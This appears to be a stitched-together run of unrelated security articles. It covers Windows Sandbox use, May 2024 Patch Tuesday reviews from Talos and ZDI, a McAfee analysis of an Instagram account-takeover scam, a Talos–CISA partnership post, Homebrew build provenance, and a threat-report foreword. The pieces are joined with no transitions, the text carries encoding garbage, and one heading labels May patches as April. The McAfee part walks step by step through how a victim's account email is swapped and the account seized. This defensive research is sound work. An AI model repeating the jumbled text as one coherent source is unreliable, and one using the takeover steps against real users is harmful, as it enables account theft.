As a developer, your work often involves experimenting with various libraries, frameworks, tools and sometimes testing unknown files or executables. But let's face it β accessing unfamiliar files or repos can sometimes feel like tiptoeing through a minefield. You do not know if they are safe or potential malware. What if I told you there's a way to explore new files without risking your host OS!
Β
Windows Sandbox (WSB) provides a lightweight desktop environment to safely run applications in isolation from the host OS. Think of it as your digital playground β a safe, isolated environment where you can test and debug apps, explore unknown files, or experiment with tools without risking your host OS. A Windows Sandbox is disposable. When it's closed, all the software and files and the state are deleted. You get a brand-new instance of the sandbox every time you open the application.
Β
How can you view or run untrusted content using Windows Sandbox?
Β
First, refer to the instructions provided in our documentation to determine if your device meets the requirements and learn how to install Windows Sandbox.
Β
There are multiple ways to share files between the host and the sandbox:
Option A - Drag and Drop files: Launch 'Windows Sandbox' by locating and selecting 'Windows Sandbox' on the Start menu or searching for 'Windows Sandbox'. With Clipboard redirection enabled by default, you can easily copy files from the host and paste them into the Windows Sandbox window. This is the simplest way to view your untrusted files and apps in your sandbox. This approach makes a copy within Sandbox, which can take a while depending on the size of the folder.
Option B - Map Folders before launching Sandbox: Create a folder, say 'sandbox-assets', on your host OS containing all files to be tested or viewed in Windows Sandbox. Any files or tools that you will need in the sandbox will need to be placed in this folder before launching the sandbox. You will then use a configuration file to map the 'sandbox-assets' folder your host to the 'sandbox-assets' folder in the sandbox.
The configuration file below shows how to share a folder from the host desktop to the sandbox desktop. In this example the file is shared with read-only permissions. Windows Sandbox will not be able to write to the folder, providing an additional layer of security.
Save the config file with a .wsb extension. To use the configuration file, double-click it to launch your custom configured Windows Sandbox. This should launch a sandbox with the folder 'sandbox-assets' with read-only access on the desktop with all the files you pasted.
Β
Β
When you're finished experimenting, close the sandbox. A dialog box will prompt you to confirm the deletion of all sandbox content. Select "Ok" to confirm.
Β
Learn more about Windows Sandbox and provide feedback
To learn more about Windows Sandbox and its functionality, check out our documentation.
Checkout our Windows Sandbox GitHub repo to share your projects that leverage Windows Sandbox, file feature requests or report issues.
You can also file a bug in Feedback Hub. There is a dedicated option in Feedback Hub to file "Windows Sandbox" bugs and feedback. It is located under "Security and Privacy" subcategory "Windows Sandbox".
Β
We look forward to you using this feature and receiving your feedback!
After a relatively hefty Microsoft Patch Tuesday in April, this monthβs security update from the company only included one critical vulnerability across its massive suite of products and services.Β Β
In all, Mayβs slate of vulnerabilities disclosed by Microsoft included 59 total CVEs, most of which are considered to be of βimportantβ severity. There is only one moderate-severity vulnerability.Β
The lone critical security issue is CVE-2024-30044, a remote code execution vulnerability in SharePoint Server. An authenticated attacker who obtains Site Owner permissions or higher could exploit this vulnerability by uploading a specially crafted file to the targeted SharePoint Server. Then, they must craft specialized API requests to trigger the deserialization of that fileβs parameters, potentially leading to remote code execution in the context of the SharePoint Server.Β
The Windows Mobile Broadband Driver also contains multiple remote code execution vulnerabilities:Β
However, to successfully exploit this issue, an adversary would need to physically connect a compromised USB device to the victim's machine.Β
Microsoft also disclosed a zero-day vulnerability in the Windows DWM Core Library, CVE-2024-30051. Desktop Window Manager (DWM) is a Windows operating system service that enables visual effects on the desktop and manages things like transitions between windows.Β Β Β
An adversary could exploit CVE-2024-30051 to gain SYSTEM-level privileges.Β Β
This vulnerability is classified as having a βlowβ level of attack complexity, and exploitation of this vulnerability has already been detected in the wild.Β Β
One other issue, CVE-2024-30046, has already been disclosed prior to Patch Tuesday, but has not yet been exploited in the wild. This is a denial-of-service vulnerability in ASP.NET, a web application framework commonly used in Windows.Β Β
Microsoft considers this vulnerability βless likelyβ to be exploited, as successful exploitation would require an adversary to spend a significant amount of time repeating exploitation attempts by sending constant or intermittent data to the targeted machine.Β Β Β
A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page.Β
In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.Β Β
The rules included in this release that protect against the exploitation of many of these vulnerabilities are 63419, 63420, 63422 - 63432, 63444 and 63445. There are also Snort 3 rules 300906 - 300912.
Welcome to the second Tuesday of May. As expected, Adobe and Microsoft have released their standard bunch of security patches. Take a break from your regular activities and join us as we review the details of their latest advisories. If youβd rather watch the full video recap covering the entire release, you can check it out here:
Apple Patches for May 2024
Apple kicked off the May release cycle with a group of updates for their macOS and iOS platforms. Most notable is a fix for CVE-2024-23296 for iOS 16.7.8 and iPadOS 16.7.8. This vulnerability is a memory corruption issue inΒ RTKit that could allow attackers to bypass kernel memory protections. The initial patch was released back in March, but Apple noted additional fixes would be coming, and here they are. This bug is reported as being under active attack, so if youβre using a device with an affected OS, make sure you get the update.
Apple also patched the Safari bug demonstrated at Pwn2Own Vancouver by Master of Pwn Winner Manfred Paul.
Adobe Patches for May 2024
For May, Adobe released eight patches addressing 37 CVEs in Adobe Acrobat and Reader, Illustrator, Substance3D Painter, Adobe Aero, Substance3D Designer, Adobe Animate, FrameMaker, and Dreamweaver. Eight of these vulnerabilities were reported through the ZDI program. The update for Reader should be the priority. It includes multiple Critical-rated bugs that are often used by malware and ransomware gangs. While none of these bugs are under active attack, it is likely some will eventually be exploited. The patch for Illustrator also addresses a couple of Critical-rated bugs that could result in arbitrary code execution. The patch for Aero (an augmented reality authoring and publishing tool) fixes a single code execution bug. Unless Iβm mistaken, this is the first Adobe patch for this product.
The fix for Adobe Animate fixes eight bugs, seven of which result in Critical-rated code execution. The patch for FrameMaker also fixes several code execution bugs. These are classic open-and-own bugs that require user interaction. Thatβs the same for the single bug fixed in Dreamweaver. The patch for Substance 3D Painter addresses four bugs, two of which are rated Critical, while the patch for Substance 3D Designer fixes a single Important-rated memory leak.
None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. Adobe categorizes these updates as a deployment priority rating of 3.
Microsoft Patches for April 2024
This month, Microsoft released 59 CVEs in Windows and Windows Components; Office and Office Components; .NET Framework and Visual Studio; Microsoft Dynamics 365; Power BI; DHCP Server; Microsoft Edge (Chromium-based); and Windows Mobile Broadband. If you include the third-party CVEs being documented this month, the CVE count comes to 63. A total of two of these bugs came through the ZDI program. As with last month, none of the bugs disclosed at Pwn2Own Vancouver are fixed with this release. With Apple and VMware fixing the vulnerabilities reported during the event, Microsoft stands alone as the only vendor not to produce patches from the contest.
Of the new patches released today, only one is rated Critical, 57 are rated Important, and one is rated Moderate in severity. This release is roughly a third of the size of last monthβs, so hopefully thatβs a sign that a huge number of fixes in a single month isnβt going to be a regular occurrence.
Two of the CVEs released today are listed as under active attack, and one other is listed as publicly known at the time of the release. Microsoft doesnβt provide any indication of the volume of attacks, but the DWM Core bug appears to me to be more than a targeted attack. Letβs take a closer look at some of the more interesting updates for this month, starting with the DWM bug currently exploited in the wild:
-Β Β Β Β Β Β CVE-2024-30051 β Windows DWM Core Library Elevation of Privilege Vulnerability This bug allows attackers to escalate the SYSTEM on affected systems. These types of bugs are usually combined with a code execution bug to take over a target and are often used by ransomware. Microsoft credits four different groups for reporting the bug, which indicates the attacks are widespread. They also indicate the vulnerability is publicly known. Donβt wait to test and deploy this update as exploits are likely to increase now that a patch is available to reverse engineer.
-Β Β Β Β Β Β CVE-2024-30043 β Microsoft SharePoint Server Information Disclosure Vulnerability This vulnerability was reported to Microsoft by ZDI researcher Piotr BazydΕo and represents an XML external entity injection (XXE) vulnerability in Microsoft SharePoint Server 2019. An authenticated attacker could use this bug to read local files with SharePoint Farm service account user privileges. They could also perform an HTTP-based server-side request forgery (SSRF), and β most importantly β perform NLTM relaying as the SharePoint Farm service account. Bugs like this show why info disclosure vulnerabilities shouldnβt be ignored or deprioritized.
-Β Β Β Β Β Β CVE-2024-30033 β Windows Search Service Elevation of Privilege Vulnerability This is another bug reported through the ZDI program and has a similar impact to the bug currently being exploited, although it manifests through a different mechanism. This is a link following bug in the Windows Search service. By creating a pseudo-symlink, an attacker could redirect a delete call to delete a different file or folder as SYSTEM. We discussed how this could be used to elevate privileges here. The delete happens when restarting the service. A low-privileged user can't restart the service directly. However, this could easily be combined with a bug that allows a low-privileged user to terminate any process by PID. After failure, the service will restart automatically, successfully triggering this vulnerability.
-Β Β Β Β Β Β CVE-2024-30050 β Windows Mark of the Web Security Feature Bypass Vulnerability We donβt normally detail Moderate-rated bugs, but this type of security feature bypass is quite in vogue with ransomware gangs right now. They zip their payload to bypass network and host-based defenses, they use a Mark of the Web (MotW) bypass to evade SmartScreen or Protected View in Microsoft Office. While we have no indication this bug is being actively used, we see the technique used often enough to call it out. Bugs like this one show why Moderate-rated bugs shouldnβt be ignored or deprioritized.
Hereβs the full list of CVEs released by Microsoft for May 2024:
* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.
β Indicates further administrative actions are required to fully address the vulnerability.
Β
Thereβs just one Critical-rated bug this month, and it deals with a remote code execution (RCE) vulnerability in SharePoint server. An authenticated attacker could use this bug to execute arbitrary code in the context of the SharePoint Server. While permissions are needed for this to occur, any authorized user on the server has the needed level of permissions.
Looking at the other RCE bugs, we see a lot of vulnerabilities in rarely used protocols. The Windows Mobile Broadband driver and the Routing and Remote Access Service (RRAS) make up the bulk of this category. More notable are the two bugs in Hyper-V. One of these would allow an authenticated attacker to execute code on the host system. This would result in a guest-to-host escape, but Microsoft doesnβt indicate what level the code execution occurs on the host OS. After a couple of months with many SQL-related fixes, thereβs just one this month. As with the previous bugs, you would need to connect to a malicious SQL server. The bug in Cryptographic Services requires a machine-in-the-middle (MITM) but could lead to a malicious certificate being imported onto the target system. The RCE bugs are rounded out with open-and-own style bugs in Excel and .NET and Visual Studio.
Moving on to the elevation of privilege (EoP) patches in this monthβs release, almost all lead to SYSTEM-level code execution if an authenticated user runs specially crafted code. While there isnβt a lot else to say about these bugs, they are often used by attackers to take over a system when combined with a code execution bug β like the Excel bug mentioned above. They convince a user to open a specially crafted Excel document that executes the EoP and takes over the system. The lone exception to this is the bug in the Brokering File System component. The vulnerability allows attackers to gain the ability to authenticate against a remote host using the current userβs credentials. The attack could be launched from a low-privileged AppContainer, which would allow the attacker to execute code or access resources at a higher integrity level than that of the AppContainer execution environment.
Weβve already discussed the MotW security feature bypass (SFB), and the only other SFB vulnerability receiving a fix this month is the MSHTML engine. Just when you thought you were safe from Internet Explorer, the Trident engine rears its ugly head. This bug allows an unauthenticated attacker to get code execution if they can convince a user to open a malicious document. The code execution occurs in the context of the user, so this is another reminder not to log on with Admin privileges unless you absolutely need to.
There are only seven information disclosure bugs receiving fixes this month, and weβve already covered the one in SharePoint. As usual, most of these vulnerabilities only result in info leaks consisting of unspecified memory contents. The bug in Power BI could result in the disclosing of βsensitive information,β but Microsoft doesnβt narrow down what type of βsensitive informationβ could be leaked. Similarly, the bug in Deployment Services could leak βfile contents.β Microsoft provides no information on whether thatβs any arbitrary file contents or only specific files, so your guess is as good as mine.
The May release includes four spoofing bugs. The first is a stored cross-site scripting (XSS) bug in Azure Migrate. Thereβs not a straightforward patch for this one. You need the latest Azure Migrate Agent and ConfigManager updates. More info on how to do that can be found here. There are two spoofing bugs in Dynamics 365, but they read more like XSS bugs. The final spoofing bug addressed this month is in the Bing search engine. An attacker could modify the content of the vulnerable link to redirect the victim to a malicious site.
Thereβs a single Tampering bug addressed in this release fixing a bug in Microsoft Intune Mobile Application Management. An attacker could gain sensitive information on a target device that has been rooted.
The final bugs for May are Denial-of-Service (DoS) vulnerabilities in ASP.NET, DHCP server, and Hyper-V. Unfortunately, Microsoft provides no additional information about these bugs and how they would manifest on affected systems.
There are no new advisories in this monthβs release.
Looking Ahead
The next Patch Tuesday of 2024 will be on June 11, and Iβll return with details and patch analysis then. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!
Instagram, with its vast user base and dynamic platform, has become a hotbed for scams and fraudulent activities. From phishing attempts to fake giveaways, scammers employ a range of tactics to exploit user trust and vulnerability. These scams often prey on peopleβs desire for social validation, financial gain, or exclusive opportunities, luring them into traps that can compromise their personal accounts and identity.
McAfee has observed a concerning scam emerging on Instagram, where scammers are exploiting the platformβs influencer program to deceive users. This manipulation of the influencer ecosystem underscores the adaptability and cunning of online fraudsters in their pursuit of ill-gotten gains.
Brand Ambassador and influencer program scams:
The Instagram influencer program, designed to empower content creators and influencers by providing opportunities for collaboration and brand partnerships, has inadvertently become a target for exploitation. Scammers are leveraging the allure of influencer status to lure unsuspecting individuals into fraudulent schemes, promising fame, fortune, and exclusive opportunities in exchange for participation.
The first step involves a cybercrook creating a dummy account and using it to hack into a targetβs Instagram account. Using those hacked accounts hackers then share posts about Bitcoin and other cryptocurrencies. Finally, the hacked accounts are used to scam target friends with a request that they vote for them to win an influencer contest.
After this series of steps is complete, the scammer will first identify the target and then send them a link with a Gmail email address to vote in their favor.
Fig 1: Scammer Message
While the link in the voting request message likely leads to a legitimate Instagram page, victims are often directed to an Instagram email update page upon clicking β not the promised voting page. Β Also, since the account sending the voting request is likely familiar to the scam target, they are more likely to enter the scammerβs email ID without examining it closely.
During our research, we saw scammers like Instagramβs accounts center link to their targets like below hxxp[.]//accountscenter.instagram.com/personal_info/contact_points/contact_point_type=email&dialog_type=add_contact_point
Fig 2. Email Updating Page
We took this opportunity to gain more insight into the details of how these deceptive tactics are carried out, creating an email account (scammerxxxx.com and victimxxxx.com) and a dummy Instagram account using that email (victimxxxx.com) for testing purposes.
Fig 3. Victimβs Personal Details
We visited the URL provided in the chat and entered our testing email ID scammerxxxx.com instead of entering the email address provided by the scammer, which was β[email protected]β
Fig 4. Adding Scammerβs Email Address in Victim Account
After adding the scammerxxxx.com address in the email address field, we received a notification stating, βAdding this email will replace vitimxxxx.com on this Instagram accountβ.
This is the point at which a scam target will fall victim to this type of scam if they are not aware that they are giving someone else, with access to the scammerxxxx.com email address, control of their Instagram account.
After selecting Next, we were redirected to the confirmation code page. Here, scammers will send the confirmation code received in their email account and provide that code to victims, via an additional Instagram message, to complete the email updating process.
In our testing case, the verification code was sent to the email address scammerxxxx.com.
Fig 5. Confirmation Code Page
We received the verification code in our scammerxxxx.com account and submitted it on the confirmation code page.
Fig 6. Confirmation Code Mail
Once the βAdd an Email Addressβ procedure is completed, the scammerβs email address is linked to the victimβs Instagram account. As a result, the actual user will be unable to log in to their account due to the updated email address.
Fig 7. Victimβs Profile after updating Scammerβs email
Because the scammerβs email address (scammerxxxx.com) was updated the account owner β the scam victim will not be able to access their account and will instead receive the message βSorry, your password was incorrect. Please double-check your password.β
Fig 8. Victim trying to login to their account.
The scammer will now change the victimβs account password by using the βforgot passwordβ function with the new, scammer email login ID.
Fig 9. Forgot Password Page
Β
The password reset code will be sent to the scammerβs email address (scammerxxxx.com).
Fig 10. Reset the Password token received in the Scammerβs email
After getting the email, the scammer will βReset your passwordβ for the victimβs account.
Fig 11. Scammer Resetting the Password
After resetting the password, the scammer can take over the victimβs Instagram account.
Fig 12. The scammer took over the victimβs Instagram account.
To protect yourself from Instagram scams:
Be cautious of contests, polls, or surveys that seem too good to be true or request sensitive information.
Verify the legitimacy of contests or giveaways by checking the accountβs authenticity, looking for official rules or terms, and researching the organizer.
Avoid clicking on suspicious links or providing personal information to unknown sources.
Enable two-factor authentication(2FA) on your Instagram account to add an extra layer of security.
Report suspicious activity or accounts to Instagram for investigation.
If any of your friends ask you to help them, contact them via text message or phone call, to ensure that their account has not been hacked first.
Cisco Talos is delighted to share updates about our ongoing partnership with the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to combat cybersecurity threats facing civil society organizations.
Talos has partnered with CISA on several initiatives through the Joint Cyber Defense Collaborative (JCDC), including sharing intelligence on strategic threats of interest.
Adversaries are leveraging advancements in technology and the interconnectedness of the worldβs networks to undermine democratic values and interests by targeting high-risk communities within civil society. According to CISA, these communities include activists, journalists, academics and organizations engaged in advocacy and humanitarian causes. Consequently, the U.S. government has elevated efforts in recent years to counter cyber threats that have placed the democratic freedoms of organizations and individuals at heightened risk.
The JCDCβs High-Risk Community Protection (HRCP) initiative is one such measure that brings together government, technology companies, and civil society organizations to strengthen the security of entities at heightened risk of cyber threat targeting and transnational repression.
The HRCP initiativeβs outputs β including a threat mitigation guideΒ for civil society, operational best practices, and online resources for communities at risk β aim to counter the threats posed by state-sponsored advanced persistent threats (APTs) and, increasingly, private-sector offensive actors (PSOA).
Our ongoing partnership with CISA and contributions to the JCDCβs HRCP initiative are consistent with Ciscoβs security mission to protect data, systems, and networks, and uphold and respect the human rights of all.
Spyware threats persist despite government and private sector measures
As weβve written about, the use of commercially available spyware to target high-profile or at-risk individuals and organizations is a global problem. This software can often track targetsβ exact location, steal their messages and personal information, or even listen in on phone calls. Private companies, commonly referred to as βPSOAsβ or βcyber mercenaries,β have monetized the development of these offensive tools, selling their spyware to any government willing to pay regardless of the buyer's intended use.
Commercial spyware tools can threaten democratic values by enabling governments to conduct covert surveillance on citizens, undermining privacy rights and freedom of expression. Lacking any international laws or norms around the use of commercial spyware, this surveillance can lead to the suppression of dissent, erosion of trust in democratic institutions, and consolidation of power in the hands of authoritarian governments.
The U.S. and its partners have taken steps to curb the proliferation of these dangerous tools. These include executive orders banning the use of certain spyware by U.S. government agencies, export restrictions and sanctions on companies or individuals involved in the development and sale of spyware (such as the recent sanctioning of members of the Intellexa Commercial Spyware Consortium), and diplomatic efforts with international partners and allies to pressure countries that harbor or support such firms.
Private industry has also played a substantial role in countering this threat, including by publishing research and publicly attributing PSOAs and countries involved in digital repression. Some companies have also developed countersurveillance technologies (such as Appleβs Lockdown Mode) to protect high-risk users and have initiated legal challenges through lawsuits against PSOAs alleging privacy violations. In March 2023, Cisco proudly became principal co-author of the Cybersecurity Tech Accord principles limiting offensive operations in cyberspace, joining several technology partners in calling for industry-wide principles to counter PSOAs.
Talos intelligence fuels HRCP threat mitigation guide for civil society
Talos has tracked the evolution of the commercial spyware industry and APT targeting of high-risk industries, placing us in a strong position to contribute our knowledge to the HRCP effort. Our research on two key threat actors β the Intellexa Commercial Spyware Consortium and the China state-sponsored Mustang Panda group β informed the HRCP guideβs overview of tactics commonly used against high-risk communities.
Talos has closely monitored threats stemming from the Intellexa Consortium, an umbrella group of organizations and individuals that offer commercial spyware tools to global customers, including authoritarian governments. In May 2023, we conducted a technical analysis of Intellaxaβs flagship PREDATOR spyware which was initially developed by a PSOA known as Cytrox. Our research specifically looked at two components of Intellexa's mobile spyware suite known as βALIENβ and βPREDATOR,β which compose the backbone of the organizationβs implant.
Our findings included an in-depth walkthrough of the infection chain, including the implantβs various information-stealing capabilities and evasion techniques. Over time, we learned more about Intellexaβs inner workings, including their spyware development timelines, product offerings, operating paradigms and procedures.
Our research on Mustang Panda also contributed to the mitigation guide by illustrating how government-sponsored threat actors have targeted civil society organizations with their own signature tools and techniques. This APT is heavily focused on political espionage and has targeted non-governmental organizations (NGOs), religious institutions, think tanks, and activist groups worldwide. Mustang Panda commonly sends spear phishing emails using enticing lures to gain access to victim networks and install custom implants, such as PlugX, that enable device control and user monitoring. The group has continuously evolved its delivery mechanisms and payloads to ensure long-term uninterrupted access, underscoring the threat posed to civil society and others.
What is next for this growing threat?
Threat actors with ties to Russia, China, and Iran have primarily been responsible for this heightened threat activity, according to industry reporting. But the threat is not limited to them. Last year, a U.K. National Cyber Security Centre (NCSC) estimate found that at least 80 countries have purchased commercial spyware, highlighting how the proliferation of these tools enables even more actors to join the playing field.
Yet we are staying ahead of the game. Talos researchers are continuously identifying the latest trends in threat actor targeting which include not only the use of commercial spyware but other tools and techniques identified in the HRCP guide, such as spear phishing and trojanized applications. Our intelligence powers Ciscoβs security portfolio, ensuring customer safety.
Talos created a reporting resource where individuals or organizations suspected of being infected with commercial spyware can contact Talosβ research team ([email protected]) to assist in furthering the communityβs knowledge of these threats.
We are determined to continue our work with CISA, other agencies, and industry leaders, leveraging the power of partnerships to protect Cisco customers and strengthen community resilience against common adversaries.
Today, we are pleased to announce that the core of that work is live and in public beta: homebrew-core is now cryptographically attesting to all bottles built in the official Homebrew CI. You can verify these attestations with our (currently external, but soon upstreamed) brew verify command, which you can install from our tap:
This means that, from now on, each bottle built by Homebrew will come with a cryptographically verifiable statement binding the bottleβs content to the specific workflow and other build-time metadata that produced it. This metadata includes (among other things) the git commit and GitHub Actions run ID for the workflow that produced the bottle, making it a SLSA Build L2-compatible attestation:
In effect, this injects greater transparency into the Homebrew build process, and diminishes the threat posed by a compromised or malicious insider by making it impossible to trick ordinary users into installing non-CI-built bottles.
This work is still in early beta, and involves features and components still under active development within both Homebrew and GitHub. As such, we donβt recommend that ordinary users begin to verify provenance attestations quite yet.
For the adventurous, however, read on!
A quick Homebrew recap
Homebrew is an open-source package manager for macOS and Linux. Homebrewβs crown jewel is homebrew-core, a default repository of over 7,000 curated open-source packages that ship by default with the rest of Homebrew. homebrew-coreβs packages are downloaded hundreds of millions of times each year, and form the baseline tool suite (node, openssl, python, go, etc.) for programmers using macOS for development.
One of Homebrewβs core features is its use of bottles: precompiled binary distributions of each package that speed up brew install and ensure its consistency between individual machines. When a new formula (the machine-readable description of how the package is built) is updated or added to homebrew-core, Homebrewβs CI (orchestrated through BrewTestBot) automatically triggers a process to create these bottles.
After a bottle is successfully built and tested, itβs time for distribution. BrewTestBot takes the compiled bottle and uploads it to GitHub Packages, Homebrewβs chosen hosting service for homebrew-core. This step ensures that users can access and download the latest software version directly through Homebrewβs command-line interface. Finally, BrewTestBot updates references to the changes formula to include the latest bottle builds, ensuring that users receive the updated bottle upon their next brew update.
In sum: Homebrewβs bottle automation increases the reliability of homebrew-core by removing humans from the software building process. In doing so, it also eliminates one specific kind of supply chain risk: by lifting bottle builds away from individual Homebrew maintainers into the Homebrew CI, it reduces the likelihood that a maintainerβs compromised development machine could be used to launch an attack against the larger Homebrew user base1.
At the same time, there are other aspects of this scheme that an attacker could exploit: an attacker with sufficient permissions could potentially upload malicious builds directly to homebrew-coreβs bottle storage, potentially leveraging alert fatigue to trick users into installing despite a checksum mismatch. More concerningly, a compromised or rogue Homebrew maintainer could surreptitiously replace both the bottle and its checksum, resulting in silently compromised installs for all users onwards.
This scenario is a singular but nonetheless serious weakness in the software supply chain, one that is well addressed by build provenance.
Build provenance
In a nutshell, build provenance provides cryptographically verifiable evidence that a software package was actually built by the expected βbuild identityβ and not tampered with or secretly inserted by a privileged attacker. In effect, build provenance offers the integrity properties of a strong cryptographic digest, combined with an assertion that the artifact was produced by a publicly auditable piece of build infrastructure.
In the case of Homebrew, that βbuild identityβ is a GitHub Actions workflow, meaning that the provenance for every bottle build attests to valuable pieces of metadata like the GitHub owner and repository, the branch that the workflow was triggered from, the event that triggered the workflow, and even the exact git commit that the workflow ran from.
This data (and more!) is encapsulated in a machine-readable in-toto statement, giving downstream consumers the ability to express complex policies over individual attestations:
Build provenance and provenance more generally are not panaceas: they arenβt a substitute for application-level protections against software downgrades or confusion attacks, and they canβt prevent βprivate conversation with Satanβ scenarios where the software itself is malicious or compromised.
Despite this, provenance is a valuable building block for auditable supply chains: it forces attackers into the open by committing them to public artifacts on a publicly verifiable timeline, and reduces the number of opaque format conversions that an attacker can hide their payload in. This is especially salient in cases like the recent xz-utils backdoor, where the attacker used a disconnect between the upstream source repository and backdoored tarball distribution to maintain their attackβs stealth. Or in other words: build provenance wonβt stop a fully malicious maintainer, but it will force their attack into the open for review and incident response.
Our implementation
Our implementation of build provenance for Homebrew is built on GitHubβs new artifact attestations feature. We were given early (private beta) access to the feature, including the generate-build-provenance action and gh attestation CLI, which allowed us to iterate rapidly on a design that could be easily integrated into Homebrewβs pre-existing CI.
This gives us build provenance for all current and future bottle builds, but we were left with a problem: Homebrew has a long βtailβ of pre-existing bottles that are still referenced in formulae, including bottles built on (architecture, OS version) tuples that are no longer supported by GitHub Actions2. This tail is used extensively, leaving us with a dilemma:
Attempt to rebuild all old bottles. This is technically and logistically infeasible, both due to the changes in GitHub Actionsβ own supported runners and significant toolchain changes between macOS versions.
Only verify a bottleβs build provenance if present. This would effectively punch a hole in the intended security contract for build provenance, allowing an attacker to downgrade to a lower degree of integrity simply by stripping off any provenance metadata.
Neither of these solutions was workable, so we sought a third. Instead of either rebuilding the world or selectively verifying, we decided to create a set of backfilled build attestations, signed by a completely different repository (our tap) and workflow. With a backfilled attestation behind each bottle, verification looks like a waterfall:
We first check for build provenance tied to the βupstreamβ repository with the expected workflow, i.e. Homebrew/homebrew-core with publish-commit-bottles.yml.
If the βupstreamβ provenance is not present, we check for a backfilled attestation before a specified cutoff date from the backfill identity, i.e. trailofbits/homebrew-brew-verify with backfill_signatures.yml.
If neither is present, then we produce a hard failure.
This gives us the best of both worlds: the backfill allows us to uniformly fail if no provenance or attestation is present (eliminating downgrades), without having to rebuild every old homebrew-core bottle. The cutoff date then adds an additional layer of assurance, preventing an attacker from attempting to use the backfill attestation to inject an unexpected bottle.
We expect the tail of backfilled bottle attestations to decrease over time, as formulae turn over towards newer versions. Once all reachable bottles are fully turned over, Homebrew will be able to remove the backfill check entirely and assert perfect provenance coverage!
Verifying provenance today
As mentioned above: this feature is in an early beta. Weβre still working out known performance and UX issues; as such, we do not recommend that ordinary users try it yet.
With that being said, adventuresome early adopters can give it a try with two different interfaces:
A dedicated brew verify command, available via our third-party tap
An early upstream integration into brew install itself.
For brew verify, simply install our third-party tap. Once installed, the brew verify subcommand will become usable:
Regardless of how you choose to experiment with this new features, certain caveats apply:
Both brew verify and brew install wrap the gh CLI internally, and will bootstrap gh locally if it isnβt already installed. We intend to replace our use of gh attestation with a pure-Ruby verifier in the medium term.
The build provenance beta depends on authenticated GitHub API endpoints, meaning that gh must have access to a suitable access credential. If you experience initial failures with brew verify or brew install, try running gh auth login or setting HOMEBREW_GITHUB_API_TOKEN to a personal access token with minimal permissions.
If you hit a bug or unexpected behavior while experimenting with brew install, please report it! Similarly, for brew verify: please send any reports directly to us.
Looking forward
Everything above concerns homebrew-core, the official repository of Homebrew formulae. But Homebrew also supports third-party repositories (βtapsβ), which provide a minorityβbutβsignificant number of overall bottle installs. These repositories also deserve build provenance, and we have ideas for accomplishing that!
Further out, we plan to take a stab at source provenance as well: Homebrewβs formulae already hash-pin their source artifacts, but we can go a step further and additionally assert that source artifacts are produced by the repository (or other signing identity) thatβs latent in their URL or otherwise embedded into the formula specification. This will compose nicely with GitHubβs artifact attestations, enabling a hypothetical DSL:
Stay tuned for further updates in this space and, as always, donβt hesitate to contact us! Weβre interested in collaborating on similar improvements for other open-source packagingecosystems, and would love to hear from you.
Last but not least, weβd like to offer our gratitude to Homebrewβs maintainers for their development and review throughout the process. Weβd also like to thank Dustin Ingram for his authorship and design on the original proposal, the GitHub Package Security team, as well as Michael Winser and the rest of Alpha-Omega for their vision and support for a better, more secure software supply chain.
1In the not-too-distant past, Homebrewβs bottles were produced by maintainers on their own development machines and uploaded to a shared Bintray account. Mike McQuaidβs 2023 talk provides an excellent overview on the history of Homebrewβs transition to CI/CD builds. 2Or easy to provide with self-hosted runners, which Homebrew uses for some builds.
Nearly 90% of Threats Blocked are Social Engineering, Revealing a Huge Surge of Scams, and Discovery of the Lazarus APT Campaign
Foreword
Weβre pleased to present the latest edition of our report for the first quarter of 2024, which has been nothing short of eventful. Here are some highlights.
Not all heroes wear capes. Just a few weeks ago, developer Andres Freund disrupted a covert threat operation that had been running for over two years. The threat actors, who managed to insert a backdoor into the widely used open-source compression library XZ/liblzma, were stopped just in time by Andres. While the identity of the threat actors remains unknown, the potential ramifications of their actions could have been catastrophic β they were almost able to gain access to any Linux machine running an infected distribution. This incident has raised important questions about the security of open-source code and its integration into critical systems and applications.
Social engineering attacks continue to be the largest threat across platforms and continue to increase their share of threats. In the mobile device landscape, more than 90% of all threats blocked in the last quarter originated from scams and similar threat types. This trend is mirrored on desktop platforms, with 87% of threats falling into the same categories. Scams, in particular, have seen a significant surge (61% on mobile and 23% on desktop), fueled by malvertising and the proliferation of malicious push notifications. The risk of falling victim to these attacks has nearly doubled in certain regions, such as Ukraine, highlighting the global reach and impact of these malicious activities. Moreover, scam authors are deploying increasingly sophisticated tactics, including the use of deepfake technology, AI-manipulated audio synchronization, and the hijacking of popular YouTube channels to disseminate fraudulent content, amplifying the potential for financial harm.
Dating scams also continue to surge, particularly in North America and Europe, with Central Europe emerging as a hotspot for such activity. Phishing remains a persistent threat, steadily increasing over the past six quarters. Prevalent phishing campaigns are detailed further in this report.
On the desktop front, weβve uncovered a sophisticated APT campaign orchestrated by the Lazarus Group, targeting individuals in Asia with deceptive job offers. Furthermore, we discovered and reported to Microsoft an in-the-wild exploit within a Windows driver, subsequently utilized by a sophisticated rootkit in this campaign. Additionally, botnet activity has been a cause for concern β with notable updates observed in the Twizt botnet which now includes brute-forcing capabilities for Server Message Block (SMB) protocol credentials β and the expansion of the malicious DDosia project. Interestingly, the DDosia project faced frequent downtimes due to countermeasures taken by unidentified individuals. Furthermore, we successfully assisted Ukrainian CERT with the remediation of the DirtyMoe botnet.
The prevalence of Malware-as-a-Service (MaaS) stealers, exemplified by DarkGate and Luma, remains a significant threat. These malicious actors capitalize on every opportunity to deploy social engineering tactics to distribute malware.
Ransomware incidents also experienced a slight uptick in Q1/2024, notably marked by the LockBit ransomware making headlines for its initial takedown by law enforcement units, only to resurface shortly after. Furthermore, our researchers identified a new ransomware strain named HomuWitch and promptly responded by developing decryption tools to assist affected individuals. This effort supplements our previous creation, the Rhysida decryption tool, which continues to aid victims of Rhysida in recovering their files.
In the realm of remote access trojans (RATs), law enforcement units have successfully executed operations against notorious threats like the Warzone RAT, resulting in several arrests. This decisive action has already yielded tangible results, as evidenced by our telemetry data.
